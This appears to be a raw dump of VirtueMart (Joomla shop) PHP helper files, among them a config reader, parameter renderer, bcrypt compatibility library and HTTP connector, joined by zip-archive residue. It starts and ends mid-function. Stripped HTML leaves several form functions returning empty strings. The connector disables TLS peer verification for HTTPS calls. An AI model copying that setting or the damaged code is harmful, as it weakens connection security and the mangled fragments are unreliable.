($_db->query()){ $qry = 'DELETE FROM `#__virtuemart_configs` WHERE `virtuemart_config_id`=1'; $_db->setQuery($qry); $_db->query(); } $qry = "INSERT INTO `#__virtuemart_configs` (`virtuemart_config_id`, `config`) VALUES ('1', '$_value')"; if(!$freshInstall){ $_db->setQuery($qry); if (!$_db->query()) { JError::raiseWarning(1, 'VmConfig::installVMConfig: '.JText::_('COM_VIRTUEMART_SQL_ERROR').' '.$_db->stderr(TRUE)); echo 'VmConfig::installVMConfig: '.JText::_('COM_VIRTUEMART_SQL_ERROR').' '.$_db->stderr(TRUE); die; }else { //vmdebug('Config installed file, store values '.$_value); return TRUE; } } else { return false; } } /** * We should this move out of this file, because it is usually only used one time in a shop life * @author Oscar van Eijk * @author Max Milbers */ static function readConfigFile($returnDangerousTools,$freshInstall = false){ $_datafile = JPATH_VM_ADMINISTRATOR.DS.'virtuemart.cfg'; if (!file_exists($_datafile)) { if (file_exists(JPATH_VM_ADMINISTRATOR.DS.'virtuemart_defaults.cfg-dist')) { if (!class_exists ('JFile')) { require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'filesystem' . DS . 'file.php'); } JFile::copy('virtuemart_defaults.cfg-dist','virtuemart.cfg',JPATH_VM_ADMINISTRATOR); } else { JError::raiseWarning(500, 'The data file with the default configuration could not be found. You must configure the shop manually.'); return FALSE; } } else { vmInfo('Taking config from file'); //vmTrace('read config file, why?',TRUE); } $_section = '[CONFIG]'; $_data = fopen($_datafile, 'r'); $_configData = array(); $_switch = FALSE; while ($_line = fgets ($_data)) { $_line = trim($_line); if (strpos($_line, '#') === 0) { continue; // Commentline } if ($_line == '') { continue; // Empty line } if (strpos($_line, '[') === 0) { // New section, check if it's what we want if (strtoupper($_line) == $_section) { $_switch = TRUE; // Ok, right section } else { $_switch = FALSE; } continue; } if (!$_switch) { continue; // Outside a section or inside the wrong one. } if (strpos($_line, '=') !== FALSE) { $pair = explode('=',$_line); if(isset($pair[1])){ if(strpos($pair[1], 'array:') !== FALSE){ $pair[1] = substr($pair[1],6); $pair[1] = explode('|',$pair[1]); } // if($pair[0]!=='offline_message' && $pair[0]!=='dateformat'){ if($pair[0]!=='offline_message'){ $_line = $pair[0].'='.serialize($pair[1]); } else { $_line = $pair[0].'='.base64_encode(serialize($pair[1])); } if(($freshInstall or $returnDangerousTools) && $pair[0] == 'dangeroustools' ){ if($returnDangerousTools){ if ($pair[1] == "0") { return FALSE; } else { return TRUE; } } if($freshInstall){ vmdebug('$freshInstall'); $pair[1]="1"; $_line = $pair[0].'='.serialize($pair[1]); } vmdebug('dangeroustools '.$pair[1]); } } else { $_line = $pair[0].'='; } $_configData[] = $_line; } } fclose ($_data); if (!$_configData) { return FALSE; // Nothing to do } else { return $_configData; } } } class vmURI{ static function getCleanUrl ($JURIInstance = 0,$parts = array('scheme', 'user', 'pass', 'host', 'port', 'path', 'query', 'fragment')) { if(!class_exists('JFilterInput')) require (JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filter'.DS.'input.php'); $_filter = JFilterInput::getInstance(array('br', 'i', 'em', 'b', 'strong'), array(), 0, 0, 1); if($JURIInstance===0)$JURIInstance = JURI::getInstance(); return $_filter->clean($JURIInstance->toString($parts)); } } // pure php no closing tag PKs>\2ȃHH*com_virtuemart/helpers/parameterparser.phpnuW+A basename($filename, '.php'), 'fileName' => $filename); } return JHTML::_('select.genericlist', $list, 'file', '', 'file', 'fileName', $preselected); } /** * Function to strip additional / or \ in a path name * @param string The path * @param boolean Add trailing slash */ function vmPathName($p_path, $p_addtrailingslash = true) { $retval = ""; $isWin = (substr(PHP_OS, 0, 3) == 'WIN'); if ($isWin) { $retval = str_replace('/', '\\', $p_path); if ($p_addtrailingslash) { if (substr($retval, -1) != '\\') { $retval .= '\\'; } } // Check if UNC path $unc = substr($retval, 0, 2) == '\\\\' ? 1 : 0; // Remove double \\ $retval = str_replace('\\\\', '\\', $retval); // If UNC path, we have to add one \ in front or everything breaks! if ($unc == 1) { $retval = '\\' . $retval; } } else { $retval = str_replace('\\', '/', $p_path); if ($p_addtrailingslash) { if (substr($retval, -1) != '/') { $retval .= '/'; } } // Check if UNC path $unc = substr($retval, 0, 2) == '//' ? 1 : 0; // Remove double // $retval = str_replace('//', '/', $retval); // If UNC path, we have to add one / in front or everything breaks! if ($unc == 1) { $retval = '/' . $retval; } } return $retval; } /** * Utility function to read the files in a directory * @param string The file system path * @param string A filter for the names * @param boolean Recurse search into sub-directories * @param boolean True if to prepend the full path to the file name */ function vmReadDirectory($path, $filter='.', $recurse=false, $fullpath=false) { $arr = array(); if (!@is_dir($path)) { return $arr; } $handle = opendir($path); while ($file = readdir($handle)) { $dir = self::vmPathName($path . '/' . $file, false); $isDir = is_dir($dir); if (($file != ".") && ($file != "..")) { if (preg_match("/$filter/", $file)) { if ($fullpath) { $arr[] = trim(self::vmPathName($path . '/' . $file, false)); } else { $arr[] = trim($file); } } if ($recurse && $isDir) { $arr2 = self::vmReadDirectory($dir, $filter, $recurse, $fullpath); $arr = array_merge($arr, $arr2); } } } closedir($handle); asort($arr); return $arr; } } if(!class_exists('JParameter')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'html'.DS.'parameter.php' ); class vmParameters extends JParameter { // /** @var string Path to the xml setup file */ var $_path = null; // /** @var string The type of setup file */ var $_type = null; var $_group = '_default'; /** * Constructor * * @access protected * @param string The raw parms text * @param string payment_element payment element name * @since 1.5 */ function __construct($data, $element = '', $type='component', $pluginfolder ) { $lang = JFactory::getLanguage(); $lang->load('plg_'.$pluginfolder.'_' . $element,JPATH_ADMINISTRATOR); if (JVM_VERSION === 2) { $path = JPATH_PLUGINS . DS . $pluginfolder . DS . basename($element). DS . basename($element) . '.xml'; } else { $path = JPATH_PLUGINS . DS . $pluginfolder . DS . basename($element) . '.xml'; } parent::__construct($element, $path); $this->_type = $type; if (JVM_VERSION === 2) { } else { } // $this->_raw = $data; $this->bind($data); } /** * render * * @access public * @param string The name of the control, or the default text area if a setup file is not found * @return string HTML * @author Valérie Cartan Isaksen */ function render($name = 'params', $group = '_default') { // vmdebug('render',$this); // if (JVM_VERSION === 2) { $parameters = $this->vmRender($name, $group); // } else { // $parameters = parent::render($name, $group); // } return $parameters; } /** * Render all parameters copied from Joomla 1.5 * * @access public * @param string The name of the control, or the default text area if a setup file is not found * @return array Aarray of all parameters, each as array Any array of the label, the form element and the tooltip * @since 1.5 */ function getParam(&$node, $control_name = 'params', $group = '_default') { //get the type of the parameter $type = $node->attributes('type'); //remove any occurance of a mos_ prefix $type = str_replace('mos_', '', $type); $element = $this->loadElement($type); // error happened if ($element === false) { $result = array(); $result[0] = $node->attributes('name'); $result[1] = JText::_('Element not defined for type').' = '.$type; $result[5] = $result[0]; return $result; } //get value $value = $this->get($node->attributes('name'), $node->attributes('default'), $group); return $element->render($node, $value, $control_name); } function getParamByName($name){ return $this->$name; } /** * vmRender copied from Joomla 1.5 * * @access public * @param string The name of the control, or the default text area if a setup file is not found * @return string HTML * @author Joomla 1.5 */ function vmRender($name = 'params', $group = '_default') { if (!isset($this->_xml[$group])) { return false; } $params = $this->getParams($name, $group); // vmdebug('vmRender',$params); $html = array (); $html[] = ''; if ($description = $this->_xml[$group]->attributes('description')) { // add the params description to the display $desc = JText::_($description); $html[] = ''; } foreach ($params as $param) { $html[] = ''; if ($param[0]) { $html[] = ''; $html[] = ''; } else { $html[] = ''; } $html[] = ''; } if (count($params) < 1) { $html[] = ""; } $html[] = '
      '.$desc.'
      '.$param[0].''.$param[1].''.$param[1].'
      ".JText::_('There are no Parameters for this item')."
      '; return implode("\n", $html); } /** * * @author Sören, Max Milbers * @param object A param tag node * @param string The control name * @return array Any array of the label, the form element and the tooltip */ function renderParam(&$param, $control_name='params') { $result = array(); $name = $param->attributes('name'); $type = $param->attributes('type'); if ($param->attributes('label') != '') { $label = JText::_($param->attributes('label')); } else { $label = ''; } if ($param->attributes('description')) { $description = JText::_($param->attributes('description')); } else { //$description = JText::_('COM_VIRTUEMART_NO_DESCRIPTION_FOUND'); } $result[0] = $label ? $label : $name; if ($type == 'spacer' || $type == 'checkbox') { $result[0] = ' '; } else { // $result[0] = JHTML::tooltip( addslashes( $description ), addslashes( $result[0] ), '', '', $result[0], '#', 0 ); //$result[0] = $description; } if (in_array('_form_' . $type, $this->_methods)) { $control_name = ''; $value = $this->get($name); // $value = $this->get($param->attributes('name'), $param->attributes('default')); $result[1] = call_user_func(array($this, '_form_' . $type), $name, $value, $param, $control_name, $label); } else { $result[1] = _HANDLER . ' = ' . $type; } if ($description) { $result[2] = JHTML::tooltip($description, $result[0], '', $result[0]); //$result[2] = JHTML::tooltip( $description); // $result[2] = $description; } else { $result[2] = ''; } return $result; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_text($name, $value, &$node, $control_name) { $size = $node->attributes('size'); if ((int) $size == 0) { $size = 25; } return ''; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_password($name, $value, &$node, $control_name) { $size = $node->attributes('size'); if ((int) $size == 0) { $size = 25; } return ''; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_checkbox($name, $value, &$node, $control_name, $label='') { $default = $node->attributes('default'); $checked = ''; if ($value == $default) { $checked = ' checked="checked"'; } $id = uniqid($name); return ' '; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_list($name, $value, &$node, $control_name) { $size = $node->attributes('size'); $multiselect = $node->attributes('multiselect'); if ($multiselect) { $multiselect = 'multiple="multiple"'; $size = 5; $name .= ']['; // well, if it's multi-select, this must be an array, right? if (strstr($value, ',')) { $value = explode(',', $value); } } if ($size == 0) $size = 1; $options = array(); foreach ($node->_children as $option) { $val = $option->attributes('value'); $text = trim($option->data()); $options[$val] = JText::_($text); } return VmHTML::selectList($control_name . '[' . $name . ']', $value, $options, $size, $multiselect); } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_radio($name, $value, &$node, $control_name) { $options = array(); foreach ($node->_children as $option) { $val = $option->attributes('value'); $text = trim($option->data()); $options[$val] = JText::_($text); } return VmHTML::radioList($control_name . '[' . $name . ']', $value, $options); } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_table_data_list($name, $value, &$node, $control_name) { $db = JFactory::getDBO(); $table = $node->attributes('table'); $condition = $node->attributes('sql_condition'); $valuefield = $node->attributes('valuefield'); $textfield = $node->attributes('textfield'); $orderfield = $node->attributes('orderfield'); $sorting = strtoupper($node->attributes('sorting')) == 'DESC' ? 'DESC' : 'ASC'; $multiselect = $node->attributes('multiselect'); $query = "SELECT `" . $db->getEscaped($valuefield) . '`, `' . $db->getEscaped($textfield) . "`" . "\n FROM `" . $db->getEscaped($table) . "`"; if ($condition != '') { $query .= "\n WHERE " . $condition; } if ($orderfield) { $query .= "\n ORDER BY `" . $db->getEscaped($orderfield) . "` " . $sorting; } $db->setQuery($query); $array = $db->loadResultArray(); if ($multiselect == '1') { $multiple = 'multiple="multiple"'; $size = 5; } else { $multiple = ''; $size = 1; } $name = $control_name . '[' . $name . ']'; return VmHTML::selectList($name, $value, $array, $size, $multiple, 'class="inputbox"'); } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ // function _form_vm_category( $name, $value, &$node, $control_name ) { // global $database; // // $multiselect = $node->_attributes( 'multiselect' ); // if( $multiselect == '1' ) { // $multiple = true; // $size = 5; // } else { // $multiple = false; // $size = 1; // } // require( CLASSPATH.'ps_product_category.php'); // $ps_product_category = new ps_product_category(); // // ob_start(); // $ps_product_category->list_all(''. $control_name .'['. $name .']', 0, array(), $size, true, $multiple ); // $category_dropdown = ob_get_clean(); // return $category_dropdown; // } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_filelist($name, $value, &$node, $control_name) { // path to images directory $path = JPATH_SITE . $node->attributes('directory'); $filter = $node->attributes('filter'); $files = vmReadDirectory($path, $filter); $options = array(); foreach ($files as $file) { $options[$file] = $file; } if (!$node->attributes('hide_none')) { array_unshift($options, array('-1', '- ' . 'Do Not Use' . ' -')); } if (!$node->attributes('hide_default')) { array_unshift($options, array('', '- ' . 'Use Default' . ' -')); } return VmHTML::selectList('' . $control_name . '[' . $name . ']', $value, $options, 1, '', 'class="inputbox"'); } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_imagelist($name, $value, &$node, $control_name) { $node->addAttribute('filter', '\.png$|\.gif$|\.jpg$|\.bmp$|\.ico$'); return $this->_form_filelist($name, $value, $node, $control_name); } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_textarea($name, $value, &$node, $control_name) { $rows = $node->attributes('rows'); $cols = $node->attributes('cols'); // convert
      tags so they are not visible when editing $value = str_replace('
      ', "\n", $value); return ''; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_hidden($name, $value, &$node, $control_name) { return ''; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_spacer($name, $value, &$node, $control_name) { if ($value) { return '

      ' . JText::_($value) . '

      '; } else { return '
      '; } } /** * special handling for textarea param */ function textareaHandling(&$txt) { $total = count($txt); for ($i = 0; $i < $total; $i++) { if (strstr($txt[$i], "\n")) { $txt[$i] = str_replace("\n", '
      ', $txt[$i]); } } $txt = implode("\n", $txt); return $txt; } /** * Element name * * @access protected * @var string */ var $_name = 'SQL'; function _form_sql($name, $value, &$node, $control_name) { $db = JFactory::getDBO(); $db->setQuery($node->attributes('query')); $key = ($node->attributes('key_field') ? $node->attributes('key_field') : 'value'); $val = ($node->attributes('value_field') ? $node->attributes('value_field') : $name); return JHTML::_('select.genericlist', $db->loadObjectList(), '' . $control_name . '[' . $name . ']', 'class="inputbox"', $key, $val, $value, $control_name . $name); } } /** * @param string * @return string */ function vmParseParams($txt) { return vmParameters::parse($txt); } // pure php no closing tag PKs>\^''*com_virtuemart/helpers/password_compat.phpnuW+A * @license http://www.opensource.org/licenses/mit-license.html MIT License * @copyright 2012 The Authors */ namespace { if (!defined('PASSWORD_DEFAULT')) { define('PASSWORD_BCRYPT', 1); define('PASSWORD_DEFAULT', PASSWORD_BCRYPT); /** * Hash the password using the specified algorithm * * @param string $password The password to hash * @param int $algo The algorithm to use (Defined by PASSWORD_* constants) * @param array $options The options for the algorithm to use * * @return string|false The hashed password, or false on error. */ function password_hash($password, $algo, array $options = array()) { if (!function_exists('crypt')) { trigger_error("Crypt must be loaded for password_hash to function", E_USER_WARNING); return null; } if (!is_string($password)) { trigger_error("password_hash(): Password must be a string", E_USER_WARNING); return null; } if (!is_int($algo)) { trigger_error("password_hash() expects parameter 2 to be long, " . gettype($algo) . " given", E_USER_WARNING); return null; } $resultLength = 0; switch ($algo) { case PASSWORD_BCRYPT: // Note that this is a C constant, but not exposed to PHP, so we don't define it here. $cost = 10; if (isset($options['cost'])) { $cost = $options['cost']; if ($cost < 4 || $cost > 31) { trigger_error(sprintf("password_hash(): Invalid bcrypt cost parameter specified: %d", $cost), E_USER_WARNING); return null; } } // The length of salt to generate $raw_salt_len = 16; // The length required in the final serialization $required_salt_len = 22; $hash_format = sprintf("$2y$%02d$", $cost); // The expected length of the final crypt() output $resultLength = 60; break; default: trigger_error(sprintf("password_hash(): Unknown password hashing algorithm: %s", $algo), E_USER_WARNING); return null; } $salt_requires_encoding = false; if (isset($options['salt'])) { switch (gettype($options['salt'])) { case 'NULL': case 'boolean': case 'integer': case 'double': case 'string': $salt = (string) $options['salt']; break; case 'object': if (method_exists($options['salt'], '__tostring')) { $salt = (string) $options['salt']; break; } case 'array': case 'resource': default: trigger_error('password_hash(): Non-string salt parameter supplied', E_USER_WARNING); return null; } if (PasswordCompat\binary\_strlen($salt) < $required_salt_len) { trigger_error(sprintf("password_hash(): Provided salt is too short: %d expecting %d", PasswordCompat\binary\_strlen($salt), $required_salt_len), E_USER_WARNING); return null; } elseif (0 == preg_match('#^[a-zA-Z0-9./]+$#D', $salt)) { $salt_requires_encoding = true; } } else { $buffer = ''; $buffer_valid = false; if (function_exists('mcrypt_create_iv') && !defined('PHALANGER')) { $buffer = mcrypt_create_iv($raw_salt_len, MCRYPT_DEV_URANDOM); if ($buffer) { $buffer_valid = true; } } if (!$buffer_valid && function_exists('openssl_random_pseudo_bytes')) { $buffer = openssl_random_pseudo_bytes($raw_salt_len); if ($buffer) { $buffer_valid = true; } } if (!$buffer_valid && @is_readable('/dev/urandom')) { $f = fopen('/dev/urandom', 'r'); $read = PasswordCompat\binary\_strlen($buffer); while ($read < $raw_salt_len) { $buffer .= fread($f, $raw_salt_len - $read); $read = PasswordCompat\binary\_strlen($buffer); } fclose($f); if ($read >= $raw_salt_len) { $buffer_valid = true; } } if (!$buffer_valid || PasswordCompat\binary\_strlen($buffer) < $raw_salt_len) { $bl = PasswordCompat\binary\_strlen($buffer); for ($i = 0; $i < $raw_salt_len; $i++) { if ($i < $bl) { $buffer[$i] = $buffer[$i] ^ chr(mt_rand(0, 255)); } else { $buffer .= chr(mt_rand(0, 255)); } } } $salt = $buffer; $salt_requires_encoding = true; } if ($salt_requires_encoding) { // encode string with the Base64 variant used by crypt $base64_digits = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; $bcrypt64_digits = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; $base64_string = base64_encode($salt); $salt = strtr(rtrim($base64_string, '='), $base64_digits, $bcrypt64_digits); } $salt = PasswordCompat\binary\_substr($salt, 0, $required_salt_len); $hash = $hash_format . $salt; $ret = crypt($password, $hash); if (!is_string($ret) || PasswordCompat\binary\_strlen($ret) != $resultLength) { return false; } return $ret; } /** * Get information about the password hash. Returns an array of the information * that was used to generate the password hash. * * array( * 'algo' => 1, * 'algoName' => 'bcrypt', * 'options' => array( * 'cost' => 10, * ), * ) * * @param string $hash The password hash to extract info from * * @return array The array of information about the hash. */ function password_get_info($hash) { $return = array( 'algo' => 0, 'algoName' => 'unknown', 'options' => array(), ); if (PasswordCompat\binary\_substr($hash, 0, 4) == '$2y$' && PasswordCompat\binary\_strlen($hash) == 60) { $return['algo'] = PASSWORD_BCRYPT; $return['algoName'] = 'bcrypt'; list($cost) = sscanf($hash, "$2y$%d$"); $return['options']['cost'] = $cost; } return $return; } /** * Determine if the password hash needs to be rehashed according to the options provided * * If the answer is true, after validating the password using password_verify, rehash it. * * @param string $hash The hash to test * @param int $algo The algorithm used for new password hashes * @param array $options The options array passed to password_hash * * @return boolean True if the password needs to be rehashed. */ function password_needs_rehash($hash, $algo, array $options = array()) { $info = password_get_info($hash); if ($info['algo'] != $algo) { return true; } switch ($algo) { case PASSWORD_BCRYPT: $cost = isset($options['cost']) ? $options['cost'] : 10; if ($cost != $info['options']['cost']) { return true; } break; } return false; } /** * Verify a password against a hash using a timing attack resistant approach * * @param string $password The password to verify * @param string $hash The hash to verify against * * @return boolean If the password matches the hash */ function password_verify($password, $hash) { if (!function_exists('crypt')) { trigger_error("Crypt must be loaded for password_verify to function", E_USER_WARNING); return false; } $ret = crypt($password, $hash); if (!is_string($ret) || PasswordCompat\binary\_strlen($ret) != PasswordCompat\binary\_strlen($hash) || PasswordCompat\binary\_strlen($ret) <= 13) { return false; } $status = 0; for ($i = 0; $i < PasswordCompat\binary\_strlen($ret); $i++) { $status |= (ord($ret[$i]) ^ ord($hash[$i])); } return $status === 0; } } } namespace PasswordCompat\binary { /** * Count the number of bytes in a string * * We cannot simply use strlen() for this, because it might be overwritten by the mbstring extension. * In this case, strlen() will count the number of *characters* based on the internal encoding. A * sequence of bytes might be regarded as a single multibyte character. * * @param string $binary_string The input string * * @internal * @return int The number of bytes */ function _strlen($binary_string) { if (function_exists('mb_strlen')) { return mb_strlen($binary_string, '8bit'); } return strlen($binary_string); } /** * Get a substring based on byte limits * * @see _strlen() * * @param string $binary_string The input string * @param int $start * @param int $length * * @internal * @return string The substring */ function _substr($binary_string, $start, $length) { if (function_exists('mb_substr')) { return mb_substr($binary_string, $start, $length, '8bit'); } return substr($binary_string, $start, $length); } } PKs>\e߷!com_virtuemart/helpers/vmview.phpnuW+A'.$text.''; else return ''.$text.''; } public function escape($var) { if (in_array($this->_escape, array('htmlspecialchars', 'htmlentities'))) { $result = call_user_func($this->_escape, $var, ENT_COMPAT, $this->_charset); } else { $result = call_user_func($this->_escape, $var); } return $result; } }PKs>\ma),),%com_virtuemart/helpers/connection.phpnuW+Adebug( 'Setting up proxy: '.$proxyURL['host'].':'.VM_PROXY_PORT ); //curl_setopt($CR, CURLOPT_HTTPPROXYTUNNEL, true); curl_setopt($CR, CURLOPT_PROXY, $proxyURL['host'] ); curl_setopt($CR, CURLOPT_PROXYPORT, VM_PROXY_PORT ); // Check if the proxy needs authentication if( trim( @VM_PROXY_USER ) != '') { // $vmLogger->debug( 'Using proxy authentication!' ); curl_setopt($CR, CURLOPT_PROXYUSERPWD, VM_PROXY_USER.':'.VM_PROXY_PASS ); } } if( $urlParts['scheme'] == 'https') { // No PEER certificate validation...as we don't have // a certificate file for it to authenticate the host www.ups.com against! curl_setopt($CR, CURLOPT_SSL_VERIFYPEER, 0); //curl_setopt($CR, CURLOPT_SSLCERT , "/usr/locale/xxxx/clientcertificate.pem"); } $result = curl_exec( $CR ); $error = curl_error( $CR ); if( !empty( $error ) && stristr( $error, '502') && !empty( $proxyURL )) { // $vmLogger->debug( 'Switching to NTLM authenticaton.'); curl_setopt( $CR, CURLOPT_PROXYAUTH, CURLAUTH_NTLM ); $result = curl_exec( $CR ); $error = curl_error( $CR ); } curl_close( $CR ); if( !empty( $error )) { //JError::raiseError(1, $error ); return false; } else { return $result; } } else { if( $postData ) { if( !empty( $proxyURL )) { // If we have something to post we need to write into a socket if( $proxyURL['scheme'] == 'https') { $protocol = 'ssl'; } else { $protocol = 'http'; } $fp = fsockopen("$protocol://".$proxyURL['host'], VM_PROXY_PORT, $errno, $errstr, $timeout = 30); } else { // If we have something to post we need to write into a socket if( $urlParts['scheme'] == 'https') { $protocol = 'ssl'; } else { $protocol = $urlParts['scheme']; } $fp = fsockopen("$protocol://".$urlParts['host'], $urlParts['port'], $errno, $errstr, $timeout = 30); } } else { if( !empty( $proxyURL )) { // Do a read-only fopen transaction $fp = fopen( $proxyURL['scheme'].'://'.$proxyURL['host'].':'.VM_PROXY_PORT, 'rb' ); } else { // Do a read-only fopen transaction $fp = fopen( $urlParts['scheme'].'://'.$urlParts['host'].':'.$urlParts['port'].$urlParts['path'], 'rb' ); } } if(!$fp) { //error tell us JError::raiseWarning(1, 'Possible server error! - '.$errstr .'('.$errno.')\n' ); return false; } else { //Would be interesting to set this only for debug // JError::raiseNotice(1, 'Connection opened to '.$urlParts['host']); } if( $postData ) { // $vmLogger->debug('Now posting the variables.' ); //send the server request if( !empty( $proxyURL )) { fputs($fp, "POST ".$urlParts['host'].':'.$urlParts['port'].$urlParts['path']." HTTP/1.0\r\n"); fputs($fp, "Host: ".$proxyURL['host']."\r\n"); if( trim( @VM_PROXY_USER )!= '') { fputs($fp, "Proxy-Authorization: Basic " . base64_encode (VM_PROXY_USER.':'.VM_PROXY_PASS ) . "\r\n\r\n"); } } else { fputs($fp, 'POST '.$urlParts['path']." HTTP/1.0\r\n"); fputs($fp, 'Host:'. $urlParts['host']."\r\n"); } fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n"); fputs($fp, "Content-length: ".strlen($postData)."\r\n"); fputs($fp, "Connection: close\r\n\r\n"); fputs($fp, $postData . "\r\n\r\n"); } else { if( !empty( $proxyURL )) { fputs($fp, "GET ".$urlParts['host'].':'.$urlParts['port'].$urlParts['path']." HTTP/1.0\r\n"); fputs($fp, "Host: ".$proxyURL['host']."\r\n"); if( trim( @VM_PROXY_USER )!= '') { fputs($fp, "Proxy-Authorization: Basic " . base64_encode (VM_PROXY_USER.':'.VM_PROXY_PASS ) . "\r\n\r\n"); } } else { // JError::raiseNotice(1, 'Host:'. $urlParts['host'].' path: '. $urlParts['path'] ); fputs($fp, 'GET '.$urlParts['path']." HTTP/1.0\r\n"); fputs($fp, 'Host:'. $urlParts['host']."\r\n"); } } // Add additional headers if provided foreach( $headers as $header ) { fputs($fp, $header."\r\n"); } $data = ""; while (!feof($fp)) { $data .= @fgets ($fp, 4096); } fclose( $fp ); // If didnt get content-lenght, something is wrong, return false. if ( trim($data) == '' ) { JError::raiseWarning(E_WARNING,'An error occured while communicating with the server '.$urlParts['host'].'. It didn\'t reply (correctly). Please try again later, thank you.' ); return false; } $result = trim( $data ); if( is_resource($fileToSaveData )) { fwrite($fileToSaveData, $result ); return true; } else { return $result; } } } /** * Set headers and send the file to the client * * @author Andreas Gohr * @param string The full path to the file * @param string The Mime Type of the file */ function sendFile($file,$mime, $overrideFileName='') { // send headers header("Content-Type: $mime"); list($start,$len) = VmConnector::http_rangeRequest(filesize($file)); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Accept-Ranges: bytes'); //application mime type is downloadable if(strtolower(substr($mime,0,11)) == 'application') { if( $overrideFileName == '') { $filename = basename($file); } else { $filename = $overrideFileName; } header('Content-Disposition: attachment; filename="'.$filename.'";'); } $chunksize = 1*(1024*1024); // send file contents $fp = @fopen($file,"rb"); if($fp) { fseek($fp,$start); //seek to start of range $chunk = ($len > $chunksize) ? $chunksize : $len; while (!feof($fp) && $chunk > 0) { @set_time_limit(); // large files can take a lot of time print fread($fp, $chunk); flush(); $len -= $chunk; $chunk = ($len > $chunksize) ? $chunksize : $len; } fclose($fp); }else { header("HTTP/1.0 500 Internal Server Error"); print "Could not read $file - bad permissions?"; JFactory::getApplication()->close(true); } } /** * Checks and sets headers to handle range requets * * @author Andreas Gohr * @return array The start byte and the amount of bytes to send * @param int The file size */ function http_rangeRequest($size, $exitOnError=true ) { if(!isset($_SERVER['HTTP_RANGE'])) { // no range requested - send the whole file header("Content-Length: $size"); return array(0,$size); } $t = explode('=', $_SERVER['HTTP_RANGE']); if (!$t[0]=='bytes') { // we only understand byte ranges - send the whole file header("Content-Length: $size"); return array(0,$size); } $r = explode('-', $t[1]); $start = (int)$r[0]; $end = (int)$r[1]; if (!$end) $end = $size - 1; if ($start > $end || $start > $size || $end > $size) { if( $exitOnError ) { header('HTTP/1.1 416 Requested Range Not Satisfiable'); print 'Bad Range Request!'; JFactory::getApplication()->close(true); } else { return array(0,$size); } } $tot = $end - $start + 1; header('HTTP/1.1 206 Partial Content'); header("Content-Range: bytes {$start}-{$end}/{$size}"); header("Content-Length: $tot"); return array($start,$tot); } } // pure php no closing tagPKs>\p55"com_virtuemart/helpers/vmtable.phpnuW+A_tbl = $table; $this->_db =& $db; $this->_pkey = $key; if(JVM_VERSION<3){ $this->_tbl_key = $key; } else { // Set the key to be an array. if (is_string($key)){ $key = array($key); } elseif (is_object($key)){ $key = (array) $key; } $this->_tbl_keys = $key; if (count($key) == 1) { $this->_autoincrement = true; } else { $this->_autoincrement = false; } // Set the singular table key for backwards compatibility. $this->_tbl_key = $this->getKeyName(); } // If we are tracking assets, make sure an access field exists and initially set the default. if (property_exists($this, 'asset_id')){ $this->_trackAssets = true; } // If the access property exists, set the default. if (property_exists($this, 'access')){ $this->access = (int) JFactory::getConfig()->get('access'); } if(JVM_VERSION>2){ // Implement JObservableInterface: // Create observer updater and attaches all observers interested by $this class: $this->_observers = new JObserverUpdater($this); JObserverMapper::attachAllObservers($this); } } public function setPrimaryKey($key, $keyForm = 0) { $error = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_PRIMARY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($key))); $this->setObligatoryKeys('_pkey', $error); $this->_pkey = $key; $this->_pkeyForm = empty($keyForm) ? $key : $keyForm; $this->$key = 0; } public function getPKey(){ return $this->_pkey; } public function setObligatoryKeys($key) { $error = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($key))); $this->_obkeys[$key] = $error; } public function setUniqueName($name) { $error = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); $this->_unique = true; $this->_obkeys[$name] = $error; $this->_unique_name[$name] = $error; } public function setLoggable() { $this->_loggable = true; $this->created_on = false; $this->created_by = 0; $this->modified_on = ''; $this->modified_by = 0; } /** * * @author Patrick Kohl, * @author Max Milbers */ public function setTranslatable($langFields) { $this->_translatableFields = $langFields; $this->_translatableFields['slug'] = 'slug'; $this->_translatable = true; if (!class_exists('VmConfig')) require(JPATH_COMPONENT_ADMINISTRATOR .'helpers/config.php'); VmConfig::loadConfig(); $this->_langTag = VmConfig::$vmlang; $this->_tbl_lang = $this->_tbl . '_' . $this->_langTag; } public function getTranslatableFields() { return $this->_translatableFields; } public function setLockable() { $this->locked_on = ''; $this->locked_by = 0; } function setOrderable($key = 'ordering', $auto = true) { $this->_orderingKey = $key; $this->_orderable = 1; $this->_autoOrdering = $auto; $this->$key = 0; } function setSlug($slugAutoName, $key = 'slug') { // $this->_useSlug = true; $this->_slugAutoName = $slugAutoName; $this->_slugName = $key; $this->$key = ''; $this->setUniqueName($key); } var $_tablePreFix = ''; function setTableShortCut($prefix) { 